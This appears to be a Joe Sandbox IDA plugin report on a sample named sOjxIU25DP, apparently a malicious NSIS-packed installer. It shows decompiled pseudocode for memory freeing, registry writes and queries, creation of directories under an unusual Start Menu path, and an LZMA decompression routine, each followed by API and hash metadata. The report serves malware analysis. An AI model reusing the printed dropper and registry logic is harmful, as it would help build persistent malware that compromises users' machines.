								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							E6F6224D8(_t54);
							_t37 = GlobalFree(E6F621266(E6F621559(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E6F62249E(_t54);
							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x808);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
								_t37 = E6F6214E2( *0x6f624058);
							}
						}
						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E6F622CC3(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E6F622A38(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E6F6226B2(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x6f6216db
0x6f6216db
0x6f6216db
0x6f6216e5
0x6f6216ed
0x6f6216fa
0x6f621708
0x6f62170b
0x6f62170d
0x6f621712
0x6f621717
0x6f621836
0x6f621836
0x6f62171d
0x6f621721
0x6f621724
0x6f621729
0x6f62172b
0x6f621731
0x6f621737
0x6f621767
0x6f62176e
0x6f621792
0x6f6217dd
0x6f621794
0x6f621794
0x6f621795
0x6f621796
0x6f62179b
0x6f62179c
0x6f6217a6
0x6f6217a9
0x6f6217ae
0x6f6217b5
0x6f6217b5
0x6f6217bc
0x6f6217c2
0x6f6217c8
0x6f6217d3
0x6f6217d5
0x6f6217d6
0x6f6217d9
0x6f621770
0x6f621771
0x6f621786
0x6f621786
0x6f6217e7
0x6f6217ea
0x6f6217f7
0x6f6217fe
0x6f621806
0x6f621809
0x6f621809
0x6f621806
0x6f621816
0x6f62181e
0x6f621823
0x6f621816
0x6f62182b
0x00000000
0x6f62182d
0x00000000
0x6f62182e
0x6f62182b
0x6f62173b
0x6f62173e
0x6f62175c
0x00000000
0x00000000
0x6f62175f
0x6f621764
0x6f621764
0x6f621766
0x00000000
0x6f621766
0x6f621740
0x6f621741
0x6f621749
0x6f62174a
0x00000000
0x6f62174a
0x6f621743
0x6f621744
0x6f621752
0x00000000
0x6f621752
0x6f621747
0x00000000
0x00000000
0x00000000
0x6f621747

APIs

Part of subcall function 6F621A98: GlobalFree.KERNEL32(?), ref: 6F621D09
Part of subcall function 6F621A98: GlobalFree.KERNEL32(?), ref: 6F621D0E
Part of subcall function 6F621A98: GlobalFree.KERNEL32(?), ref: 6F621D13

GlobalFree.KERNEL32(00000000), ref: 6F621786
FreeLibrary.KERNEL32(?), ref: 6F621809
GlobalFree.KERNEL32(00000000), ref: 6F62182E

Part of subcall function 6F6222AF: GlobalAlloc.KERNEL32(?,?), ref: 6F6222E0

Part of subcall function 6F6226B2: GlobalAlloc.KERNEL32(?,00000000,?,?,00000000,?,?,?,6F621757,00000000), ref: 6F622782

Part of subcall function 6F62156B: wsprintfA.USER32 ref: 6F621599

Strings

, xrefs: 6F62180F

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: f6f53aa7e8e407e16bb55a2a09ce68fa976508f69aa1fbf5ffae748479d84896
Instruction ID: fcbe7c17a046879884b9b639feaa71d85b3b8daa198ac321e023f4798f4f6089
Opcode Fuzzy Hash: f6f53aa7e8e407e16bb55a2a09ce68fa976508f69aa1fbf5ffae748479d84896
Instruction Fuzzy Hash: DF418D711083499BDB00AF74C9C4BDA37ECBF45328F048466E915AA0C7DFB6A185CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402476 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00402476(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t18;
				void* _t19;
				int _t22;
				char _t25;
				int _t28;
				void* _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t35;
				void* _t37;
				void* _t40;

				_t40 = __eflags;
				_t31 = __edx;
				_t28 = __ebx;
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				_t32 = __eax;
				 *(_t37 - 0x38) =  *(_t37 - 0x14);
				 *(_t37 - 0x78) = E00402BCE(2);
				_t18 = E00402BCE(0x11);
				 *(_t37 - 4) = 1;
				_t19 = E00402C5E(_t40, _t32, _t18, 2);
				 *(_t37 + 8) = _t19;
				if(_t19 != __ebx) {
					_t22 = 0;
					if(_t35 == 1) {
						E00402BCE(0x23);
						_t22 = lstrlenA(0x40ac20) + 1;
					}
					if(_t35 == 4) {
						_t25 = E00402BAC(3);
						_pop(_t30);
						 *0x40ac20 = _t25;
						 *((intOrPtr*)(_t37 - 0x88)) = _t31;
						_t22 = _t35;
					}
					if(_t35 == 3) {
						_t22 = E00403192(_t30,  *((intOrPtr*)(_t37 - 0x1c)), _t28, 0x40ac20, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x78), _t28,  *(_t37 - 0x38), 0x40ac20, _t22) == 0) {
						 *(_t37 - 4) = _t28;
					}
					_push( *(_t37 + 8));
					RegCloseKey(); // executed
				}
				 *0x4247e8 =  *0x4247e8 +  *(_t37 - 4);
				return 0;
			}

0x00402476
0x00402476
0x00402476
0x00402476
0x00402479
0x00402480
0x0040248a
0x0040248d
0x00402496
0x0040249d
0x004024a4
0x004024a7
0x004024ad
0x004024b7
0x004024bb
0x004024c6
0x004024c6
0x004024ca
0x004024ce
0x004024d3
0x004024d4
0x004024da
0x004024e0
0x004024e0
0x004024e4
0x004024f0
0x004024f0
0x00402509
0x0040250b
0x0040250b
0x0040250e
0x004025e5
0x004025e5
0x00402a5d
0x00402a69

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000023,00000011,00000002), ref: 004024C1
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,00000011,00000002), ref: 00402501
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,00000011,00000002), ref: 004025E5

Strings

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 004024B2, 004024D4, 004024EB, 004024F6

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp
API String ID: 2655323295-1088140213
Opcode ID: ea190e0614b9c78f448abe6b636d33ffd0d51c3cdf87a110029b96fd324e5455
Instruction ID: 5644774c5ad9b48a65de427feb86c71d00855ff910a4b4954d945e3a4f9991f8
Opcode Fuzzy Hash: ea190e0614b9c78f448abe6b636d33ffd0d51c3cdf87a110029b96fd324e5455
Instruction Fuzzy Hash: E511D371E00218BFEF10AFA58E49AAEBA74EB44314F21443FF505F71C1C6B89D419B28

Uniqueness

Uniqueness Score: -1.00%

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015BB(char __ebx, void* __eflags) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402BCE(0xfffffff0);
				_t13 = E00405C59(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E00405BEB(_t30, "true");
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E00405892(_t28);
						} else {
							_t39 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E004058AF(_t39) == 0) {
								goto L5;
							} else {
								_t22 = E00405815(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406228("C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens\\kibbes\\Chloramide", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015bb
0x004015c2
0x004015c5
0x004015ca
0x004015ce
0x004015d0
0x004015d8
0x004015da
0x004015dc
0x004015e0
0x004015e3
0x004015fb
0x004015fc
0x004015e5
0x004015e5
0x004015e8
0x00000000
0x004015f3
0x004015f4
0x004015f4
0x004015e8
0x00401603
0x0040160a
0x00401617
0x00401617
0x0040160c
0x0040160d
0x00401615
0x00000000
0x00000000
0x00401615
0x0040160a
0x0040161a
0x0040161d
0x0040161f
0x00401620
0x004015d0
0x00401627
0x00401652
0x004022dd
0x00401629
0x0040162b
0x00401636
0x0040163c
0x00401644
0x0040164a
0x0040164a
0x00401644
0x00402a5d
0x00402a69

APIs

Part of subcall function 00405C59: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0,00000000), ref: 00405C67
Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C6C
Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C80

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,?,00000000,000000F0), ref: 0040160D

Part of subcall function 00405815: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405858

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide
API String ID: 1892508949-483106015
Opcode ID: 3a5e3392b137cbfb211792a14f868fb55e5257e7f591e594bc01097d7e2d5ad7
Instruction ID: 7f8751d3726a152fc7b031c4469f223aff892055c158b12f401dbf96511dfde3
Opcode Fuzzy Hash: 3a5e3392b137cbfb211792a14f868fb55e5257e7f591e594bc01097d7e2d5ad7
Instruction Fuzzy Hash: EC112B31208151EBDB307FA54D409BF37B0DA92714B28467FE592B22D3D63D4943962E

Uniqueness

Uniqueness Score: -1.00%

Function 0040610F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040610F(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x400;
				_t21 = E004060AE(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExA(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
					_t21 = RegCloseKey(_a20); // executed
					_t30[0x3ff] = _t30[0x3ff] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x0040611d
0x0040611f
0x00406137
0x0040613c
0x00406141
0x0040617e
0x0040617e
0x00406143
0x00406155
0x00406160
0x00406166
0x00406170
0x00000000
0x00000000
0x00406170
0x00406183

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,00000400,Call,?,?,?,?,00000002,Call,?,004063C4,80000002), ref: 00406155
RegCloseKey.KERNELBASE(?,?,004063C4,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll), ref: 00406160

Strings

Call, xrefs: 00406112, 00406146

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction ID: a564c047acf5d73f9aa125f5b2549426a44a408a2c37113ac8a3848fd8f43ee5
Opcode Fuzzy Hash: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
Instruction Fuzzy Hash: 8B015A72500209BBDF228F61CC0AFDB3BA8EF55364F01403AF95AA6191D678D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5A Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406D5A() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M004071C8))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc("true", 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc("true",  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
